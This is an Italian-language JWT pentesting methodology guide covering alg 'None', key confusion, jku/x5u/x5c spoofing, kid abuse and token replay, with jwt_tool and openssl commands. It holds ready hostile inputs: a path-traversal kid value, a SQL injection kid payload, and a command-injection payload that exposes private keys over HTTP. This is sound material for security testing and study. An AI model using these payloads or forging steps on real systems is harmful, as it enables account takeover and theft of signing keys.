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Vulnerabilità JWT (Json Web Tokens)

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Parte di questo post si basa sull'ottimo post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autore dell'ottimo strumento per il pentesting di JWTs https://github.com/ticarpi/jwt_tool

Vittorie Veloci

Esegui jwt_tool con modalità All Tests! e attendi le linee verdi

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Se sei fortunato, lo strumento troverà alcuni casi in cui l'applicazione web sta controllando in modo errato il JWT:

Successivamente, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta utilizzando lo strumento jwt_tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Manipolare i dati senza modificare nulla

Puoi semplicemente manipolare i dati lasciando la firma invariata e verificare se il server controlla la firma. Prova a cambiare il tuo nome utente in "admin", per esempio.

Il token viene verificato?

Per verificare se la firma di un JWT viene verificata:

  • Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori verbosi dovrebbero essere esaminati.
  • Una modifica nella pagina restituita indica la verifica.
  • Nessuna modifica suggerisce nessuna verifica; è il momento di sperimentare con la manipolazione delle rivendicazioni del payload.

Origine

È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.

  • I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, richiedendo ulteriori indagini.
  • I token che originano lato server indicano un processo sicuro.

Durata

Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.

Forza bruta del segreto HMAC

Vedi questa pagina.

Modificare l'algoritmo in None (CVE-2015-9235)

Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.

Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per modificare valori diversi all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").

Cambiare l'algoritmo da RS256(asimmetrico) a HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)

L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ciascun messaggio.
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.

Se cambi l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.

Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256 potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nuova chiave pubblica all'interno dell'intestazione

Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).

Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".
(Inoltra la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).

Spoofing JWKS

Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.

  • Valutazione dei Token con Intestazione "jku":
  • Verificare l'URL del claim "jku" per assicurarsi che conduca al file JWKS appropriato.
  • Modificare il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
  • Monitoraggio dell'Interazione HTTP:
  • L'osservazione delle richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
  • Quando si utilizza jwt_tool per questo processo, è fondamentale aggiornare il file jwtconf.ini con la tua posizione JWKS personale per agevolare il testing.
  • Comando per jwt_tool:
  • Esegui il seguente comando per simulare lo scenario con jwt_tool:
python3 jwt_tool.py JWT_QUI -X s

Panoramica dei Problemi di Kid

Un claim di intestazione opzionale noto come kid è utilizzato per identificare una chiave specifica, il che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questo claim aiuta a selezionare la chiave appropriata per verificare la firma di un token.

Rivelazione della Chiave tramite "kid"

Quando il claim kid è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue varianti. Ad esempio, se è specificato "kid":"key/12345", i file /key/12345 e /key/12345.pem dovrebbero essere cercati nella root del web.

Traversamento del Percorso con "kid"

Il claim kid potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore kid per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore kid mantenendo la firma originale può essere realizzato utilizzando il flag -T in jwt_tool, come dimostrato di seguito:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Attraverso il mirare file con contenuti prevedibili, è possibile falsificare un JWT valido. Ad esempio, il file /proc/sys/kernel/randomize_va_space nei sistemi Linux, noto per contenere il valore 2, può essere utilizzato nel parametro kid con 2 come password simmetrica per la generazione del JWT.

SQL Injection tramite "kid"

Se il contenuto del claim kid viene utilizzato per recuperare una password da un database, un'iniezione SQL potrebbe essere facilitata modificando il payload kid. Un esempio di payload che utilizza un'iniezione SQL per alterare il processo di firma JWT include:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Questa modifica forza l'uso di una chiave segreta conosciuta, ATTACKER, per la firma JWT.

Iniezione OS tramite "kid"

Uno scenario in cui il parametro kid specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Esecuzione di Codice Remoto (RCE). Iniettando comandi nel parametro kid, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE ed esposizione delle chiavi è:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u e jku

jku

jku sta per URL dell'insieme JWK.
Se il token utilizza un claim Header "jku", controlla l'URL fornito. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.

Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Quindi puoi utilizzare ad esempio jwt.io per creare il nuovo JWT con le chiavi pubbliche e private create e puntando il parametro jku al certificato creato. Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.

Puoi ottenere i parametri "e" e "n" da un certificato pubblico utilizzando:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.

Prova a cambiare questo header con un URL sotto il tuo controllo e controlla se viene ricevuta una richiesta. In tal caso, potresti manomettere il JWT.

Per forgiare un nuovo token utilizzando un certificato controllato da te, è necessario creare il certificato ed estrarre le chiavi pubbliche e private:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Quindi puoi utilizzare ad esempio jwt.io per creare il nuovo JWT con le chiavi pubbliche e private create e puntando il parametro x5u al certificato .crt creato.

Puoi anche sfruttare entrambe queste vulnerabilità per gli SSRF.

x5c

Questo parametro potrebbe contenere il certificato in base64:

Se l'attaccante genera un certificato autofirmato e crea un token contraffatto utilizzando la corrispondente chiave privata e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Chiave pubblica incorporata (CVE-2018-0114)

Se il JWT ha incorporato una chiave pubblica come nello scenario seguente:

Utilizzando lo script nodejs seguente è possibile generare una chiave pubblica da quei dati:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

È possibile generare una nuova chiave privata/pubblica, incorporare la nuova chiave pubblica all'interno del token e usarla per generare una nuova firma:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Puoi ottenere il "n" e "e" utilizzando questo script nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finalmente, utilizzando la chiave pubblica e privata e i nuovi valori "n" ed "e" è possibile utilizzare jwt.io per forgiare un nuovo JWT valido con qualsiasi informazione.

JTI (JWT ID)

Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare il replay del token.
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend sta incrementando l'ID ad ogni richiesta, potresti sfruttare questo per riprodurre una richiesta (necessario inviare 10000 richieste tra ogni replay riuscito).

Claim registrati JWT

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Altri attacchi

Attacchi di Relè tra Servizi

È stato osservato che alcune applicazioni web si affidano a un servizio JWT di fiducia per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se viene osservata l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, dovrebbe essere indagata la possibilità di iscriversi a un account su un altro cliente di quel servizio utilizzando lo stesso username/email. Dovrebbe quindi essere tentato di riprodurre il token ottenuto in una richiesta al target per vedere se viene accettato.

  • L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente il falsificare l'account di qualsiasi utente. Tuttavia, è importante notare che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si iscrive a un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.

Controllo di Scadenza dei Token

La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale implementare controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi del timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.

  • Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.

Strumenti

{% embed url="https://github.com/ticarpi/jwt_tool" %}

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